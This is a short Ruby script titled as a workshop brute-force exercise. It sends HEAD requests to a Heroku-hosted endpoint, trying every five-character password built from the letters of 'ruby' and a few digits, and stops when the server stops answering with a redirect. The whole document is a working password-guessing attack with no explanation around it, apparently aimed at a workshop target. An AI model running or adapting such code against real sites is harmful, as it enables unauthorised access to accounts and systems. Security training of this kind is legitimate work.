Workshop bruteforce

require 'net/http'

response = nil

Net::HTTP.start('furious-rain-32.heroku.com', 80) {|http|
  s = ['r','u','b','y','R','U','B','Y',0,1,8,6]
  s.each do |s1|
    s.each do |s2|
      s.each do |s3|
        s.each do |s4|
          s.each do |s5|
            pwd = "#{s1}#{s2}#{s3}#{s4}#{s5}"
            puts pwd
            response = http.head("/map/definition?pwd=#{pwd}")
            raise pwd if response.code != '302'
          end
        end
      end
    end
  end
}